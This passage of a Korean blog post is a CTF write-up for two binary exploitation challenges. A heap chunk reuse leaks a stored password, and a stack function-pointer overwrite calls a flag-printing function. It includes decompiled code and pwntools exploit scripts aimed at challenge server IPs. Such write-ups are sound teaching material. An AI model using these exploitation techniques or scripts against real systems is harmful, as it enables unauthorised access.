  i = 0;
  init();
  ptr = read_user_data();
  if ( ptr )
  {
    printf("\nHello, %s\n", (const char *)ptr);
    strncpy(passwd, (const char *)ptr + 0x10, 0x20uLL);
    v5 = 1;
  }
  else
  {
    printf("%s", "Trial version");
  }
  import_todo();
  free(ptr);
  ptr = 0LL;
  check_finished_todo();
  while ( 1 )
  {
    ui();
    __isoc99_fscanf(stdin, "%1d", &v4);
    switch ( v4 )
    {
      case 0:
        termination("[*] Bye~", 0);
      case 1:
        add_todo();
        break;
      case 2:
        delete_todo();
        break;
      case 3:
        show_todo();
        break;
      case 4:
        if ( v5 )
        {
          for ( i = 0; i <= 4; ++i )
          {
            v7 = check_secret_code(passwd);
            if ( !v7 )
              my_info();
            puts("[-] Wrong input!");
          }
          if ( i == 5 )
            termination("[-] no hack!", -1);
        }
        else
        {
          puts("[-] Not available in trial version");
        }
        return result;
      default:
        termination("[-] Wrong input!", -1);
    }
  }
}

main 함수의 디컴파일된 모습이다.

초반에 read_user_data 함수가 호출된다.

char *read_user_data()
{
  char *v1; // rax
  FILE *stream; // [rsp+8h] [rbp-98h]
  const char *src; // [rsp+10h] [rbp-90h]
  const char *srca; // [rsp+10h] [rbp-90h]
  char *v5; // [rsp+18h] [rbp-88h]
  char dest[16]; // [rsp+20h] [rbp-80h] BYREF
  char v7[32]; // [rsp+30h] [rbp-70h] BYREF
  __int64 v8; // [rsp+50h] [rbp-50h]
  char s[56]; // [rsp+60h] [rbp-40h] BYREF
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  memset(s, 0, 0x30uLL);
  stream = fopen("user.txt", "r");
  if ( !stream )
    return 0LL;
  if ( !fgets(s, 48, stream) )
    return 0LL;
  v1 = strtok(s, ":");
  strncpy(dest, v1, 0x10uLL);                   // name
  src = strtok(0LL, ":");
  if ( !src )
    return 0LL;
  strncpy(v7, src, 0x20uLL);
  srca = strtok(0LL, ":");                      // long long
  if ( !srca )
    return 0LL;
  v8 = atol(srca);
  v5 = (char *)malloc(0x38uLL);
  strncpy(v5, dest, 0x10uLL);
  strncpy(v5 + 0x10, v7, 0x20uLL);
  *((_QWORD *)v5 + 6) = v8;
  return v5;
}

user.txt를 읽는다.
: 를 기준으로 끊어서 힙에 할당한 메모리에 저장을 해주고 그 주소를 리턴한다.

  ptr = read_user_data();
  if ( ptr )
  {
    printf("\nHello, %s\n", (const char *)ptr);
    strncpy(passwd, (const char *)ptr + 0x10, 0x20uLL);
    v5 = 1;
  }
  else
  {
    printf("%s", "Trial version");
  }
  import_todo();
  free(ptr);

main 함수에서 read_user_data 이후 passwd에는 ptr+0x10 부터가 저장된다.

main 함수 이후에는 import_todo 함수가 호출된다.

unsigned __int64 import_todo()
{
  char *v0; // rax
  int i; // [rsp+0h] [rbp-A0h]
  FILE *stream; // [rsp+8h] [rbp-98h]
  const char *src; // [rsp+10h] [rbp-90h]
  const char *srca; // [rsp+10h] [rbp-90h]
  char *v6; // [rsp+18h] [rbp-88h]
  char dest[16]; // [rsp+20h] [rbp-80h] BYREF
  char v8[32]; // [rsp+30h] [rbp-70h] BYREF
  __int64 v9; // [rsp+50h] [rbp-50h]
  char s[56]; // [rsp+60h] [rbp-40h] BYREF
  unsigned __int64 v11; // [rsp+98h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  memset(s, 0, 0x30uLL);
  stream = fopen("todo.txt", "r");
  if ( stream )
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( !fgets(s, 0x30, stream) )
        break;
      v0 = strtok(s, ":");
      strncpy(dest, v0, 0x10uLL);
      src = strtok(0LL, ":");
      if ( !src )
        break;
      strncpy(v8, src, 0x20uLL);
      srca = strtok(0LL, ":");
      if ( !srca )
        break;
      v9 = atol(srca);
      v6 = (char *)malloc(0x38uLL);
      strncpy(v6, dest, 0x10uLL);
      strncpy(v6 + 16, v8, 0x20uLL);
      *((_QWORD *)v6 + 6) = v9;
      todo_lists[todo_count++] = v6;
    }
  }
  return __readfsqword(0x28u) ^ v11;
}

import_todo 함수의 디컴파일된 모습은 위와 같다.
todo.txt 열고 free 해준다고 보면 된다.

import_todo 함수가 호출되고 나서, main 함수에서는 ptr을 free한다.

이게 초반 부분이고, 이제 메뉴가 출력되고, 옵션을 선택할 수 있다.

unsigned __int64 add_todo()
{
  size_t v0; // rax
  size_t v1; // rax
  size_t v2; // rax
  size_t v3; // rax
  char *dest; // [rsp+18h] [rbp-48h]
  __int64 buf[2]; // [rsp+20h] [rbp-40h] BYREF
  __int64 v7[4]; // [rsp+30h] [rbp-30h] BYREF
  __int64 v8; // [rsp+50h] [rbp-10h]
  unsigned __int64 v9; // [rsp+58h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  memset(v7, 0, sizeof(v7));
  v8 = 0LL;
  if ( todo_count <= 9 )
  {
    v0 = strlen("title > ");
    write(1, "title > ", v0);
    read(0, buf, 0x10uLL);
    if ( (((*__ctype_b_loc())[SLOBYTE(buf[0])] & 0x400) != 0 || ((*__ctype_b_loc())[SLOBYTE(buf[0])] & 0x800) != 0)
      && ((v1 = strlen("contents > "),
           write(1, "contents > ", v1),
           read(0, v7, 0x20uLL),
           ((*__ctype_b_loc())[SLOBYTE(buf[0])] & 0x400) != 0)
       || ((*__ctype_b_loc())[SLOBYTE(buf[0])] & 0x800) != 0) )
    {
      if ( *((_BYTE *)buf + strlen((const char *)buf) - 1) == '\n' )
        *((_BYTE *)buf + strlen((const char *)buf) - 1) = 0;
      if ( *((_BYTE *)v7 + strlen((const char *)v7) - 1) == '\n' )
        *((_BYTE *)v7 + strlen((const char *)v7) - 1) = 0;
      v8 = 0LL;
      dest = (char *)malloc(0x38uLL);
      v2 = strlen((const char *)buf);
      strncpy(dest, (const char *)buf, v2);     // title
      v3 = strlen((const char *)v7);
      strncpy(dest + 0x10, (const char *)v7, v3);// content
      *((_QWORD *)dest + 6) = v8;
      todo_lists[(int)find_empty_idx_todolist()] = dest;
      ++todo_count;
    }
    else
    {
      puts("[-] Wrong input");
    }
  }
  else
  {
    puts("[-] It's full");
  }
  return __readfsqword(0x28u) ^ v9;
}

add_todo 함수의 디컴파일된 모습이다.
todo_lists에 title과 contents가 저장된 힙 메모리의 주소가 추가되고, todo_count가 1 증가한다.

.text:0000000000001A5D                 call    ___ctype_b_loc
.text:0000000000001A62                 mov     rax, [rax]
.text:0000000000001A65                 movzx   edx, byte ptr [rbp+buf]
.text:0000000000001A69                 movsx   rdx, dl
.text:0000000000001A6D                 add     rdx, rdx
.text:0000000000001A70                 add     rax, rdx
.text:0000000000001A73                 movzx   eax, word ptr [rax]
.text:0000000000001A76                 movzx   eax, ax
.text:0000000000001A79                 and     eax, 400h
.text:0000000000001A7E                 test    eax, eax
.text:0000000000001A80                 jnz     short loc_1AB8
.text:0000000000001A82                 call    ___ctype_b_loc
.text:0000000000001A87                 mov     rax, [rax]
.text:0000000000001A8A                 movzx   edx, byte ptr [rbp+buf]
.text:0000000000001A8E                 movsx   rdx, dl
.text:0000000000001A92                 add     rdx, rdx
.text:0000000000001A95                 add     rax, rdx
.text:0000000000001A98                 movzx   eax, word ptr [rax]
.text:0000000000001A9B                 movzx   eax, ax
.text:0000000000001A9E                 and     eax, 800h

일부를 어셈블리로 본 모습이다.
___ctype_b_loc 함수는 아스키 문자들의 특징을 배열로 리턴하는 함수다.
그냥 사용자가 입력한 제목이 유효한지 검증해주기 위해서 사용한다고 생각하면 된다.

unsigned __int64 delete_todo()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( todo_count )
  {
    show_todo();
    printf("delete idx > ");
    __isoc99_fscanf(stdin, "%1d", &v1);
    if ( todo_lists[v1] )
    {
      free((void *)todo_lists[v1]);
      --todo_count;
      todo_lists[v1] = 0LL;
    }
    else
    {
      puts("[-] Wrong input");
    }
  }
  else
  {
    puts("[*] No todo list");
  }
  return __readfsqword(0x28u) ^ v2;
}

delete_todo 함수의 모습이다.
그냥 count 줄여주고, free 해주는 함수다.

      case 4:
        if ( v5 )
        {
          for ( i = 0; i <= 4; ++i )
          {
            v7 = check_secret_code(passwd);
            if ( !v7 )
              my_info();
            puts("[-] Wrong input!");
          }
          if ( i == 5 )
            termination("[-] no hack!", -1);
        }
        else
        {
          puts("[-] Not available in trial version");
        }
        return result;
      default:
        termination("[-] Wrong input!", -1);
    }

main 함수의 아래 부분이다.
passwd를 인자로 받아서 check_secret_code 함수를 호출한다.

int __fastcall check_secret_code(const char *a1)
{
  size_t v1; // rax
  int i; // [rsp+14h] [rbp-4Ch]
  char buf[40]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+48h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  v1 = strlen("secret code > ");
  write(1, "secret code > ", v1);
  read(0, buf, 0x20uLL);
  for ( i = 0; i < strlen(buf); ++i )
  {
    if ( buf[i] == 0xA )
      buf[i] = 0;
  }
  return strncmp(a1, buf, 0x20uLL);
}

check_secret_code는 입력을 받아서, a1과 비교해서 비밀번호를 검증한다.

Exploitation

  free(ptr);
  ptr = 0LL;
  check_finished_todo();

main 함수의 초반 부분이다.
ptr, 즉 password를 포함한 유저의 정보가 저장되어있는 힙 청크를 free 한다.
그 다음 check_finished_todo를 호출한다.

  v1 = todo_count;
  for ( i = 0; i < todo_count; ++i )
  {
    if ( *(_QWORD *)(todo_lists[i] + 0x30LL) )
    {
      free((void *)todo_lists[i]);
      --v1;
      ++finished_todo_count;
      todo_lists[i] = 0LL;
    }
  }

check_finished_todo 함수이다.
이때 finished_todo_count가 늘어나면서 free 된다.

      v8 = 0LL;
      dest = (char *)malloc(0x38uLL);
      v2 = strlen((const char *)buf);

add_todo 함수의 일부이다.
여기서 다시 malloc 할 수 있다.

read_user_data 함수에서 malloc 한 크기와 여기서 malloc 해주는 크기가 같아서
다른 bin에 들어갈 걱정은 안해도 된다.

그냥 malloc 몇번 해주다 보면, 이미 free 된 청크를 재사용하게 됨으로써 password를 다시 읽을 수 있다.

먼저 nc로 직접 접속해서 import_todo 함수에서 free 된 청크만큼 add_todo 해주고, 한번 더해 주면 password를 읽을 수 있다.
add_todo 두번이였나 세번해주면 nsql... 뜨면서 보였던것으로 기억한다.

from pwn import * 
import string

a = string.printable

for i in a:
    pause()
    p = remote('3.36.97.187',9999)
    code = b'nsqlgktlrhThtpdy123'
    p.sendlineafter(b'>>',b'4')
    p.sendlineafter(b'>',i.encode()+code)
    p.recv()
    recv = p.recv()
    print(recv)
    if(b'Wrong' in recv):
        p.close()
    else:
        print(recv)
        p.interactive()

add_todo 할때 무조건 contents를 입력해서 a 하나만 입력하고, 나머지는 브루트포스를 통해서 찾았다.

이렇게 해서 비밀번호를 알아내고 nc로 접속해서 비밀번호를 입력하고 My info를 보면 된다.

left right


64비트 ELF 바이너리를 제공해준다.

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("Left Right Game!!! Go to the point 'H' and come back to point 'S'");
  current_position = 0;
  print_map(0LL);
  main_banner();
  half_check = 0;
  while ( (unsigned int)read_input("opt >> ") )
  {
    game();
    main_banner();
  }
  return 0;
}

main 함수의 모습이다.
되게 간결하다.

굳이 다 분석할 필요도 없다.

unsigned __int64 game()
{
  int input; // eax
  unsigned int v2; // [rsp+4h] [rbp-2Ch]
  __int64 (__fastcall *v3)(); // [rsp+8h] [rbp-28h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  game_banner();
  input = read_input("way >> ");
  if ( input == 1 )
  {
    v3 = move_right;
  }
  else if ( input == 2 )
  {
    v3 = move_left;
  }
  v2 = read_input("move >> ");
  ((void (__fastcall *)(_QWORD))v3)(v2);
  return __readfsqword(0x28u) ^ v4;
}

game 함수 내부의 모습이다.
move_right, move_left 함수 포인터로 호출한다.

int __fastcall read_input(const char *a1)
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts(a1);
  fflush(stdout);
  read(0, buf, 32uLL);
  return atoi(buf);
}

read_input 함수이다.
그냥 버퍼로 읽고, atoi로 숫자로 바꿔서 리턴해주는 함수다.

int wanna_flag()
{
  return system("cat flag");
}

IDA로 분석하다가 wanna_flag라는 함수를 발견했다.
대놓고 준다.

Exploitation

game 함수 내부에서 v3 함수 포인터를 호출하는데, 그 함수 포인터를 wanna_flag로 덮으면 된다.
v3는 rbp-0x28에 존재한다.

  while ( (unsigned int)read_input("opt >> ") )
  {
    game();
    main_banner();
  }

main 함수의 일부이다.
앞에서 read_input을 호출하고, game을 호출한다.

game은 read_input의 스택을 재사용하니, 그냥 read_input에서 오프셋을 잘 맞춰서 wanna_flag로 덮어주면 된다.

from pwn import *
e = ELF('./left_right')
flag = e.sym['wanna_flag']
#p = process('./left_right')

p =remote('54.180.160.146',9999)
pay = b'1AAAAAAA'
pay += p64(flag)
p.sendlineafter(b'>>',pay)
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'>>',b'3')
p.interactive()

profile
https://msh1307.kr

2개의 댓글

comment-user-thumbnail
2022년 10월 16일

어떻게 하면 해킹을 잘 할 수 있죠?~?

1개의 답글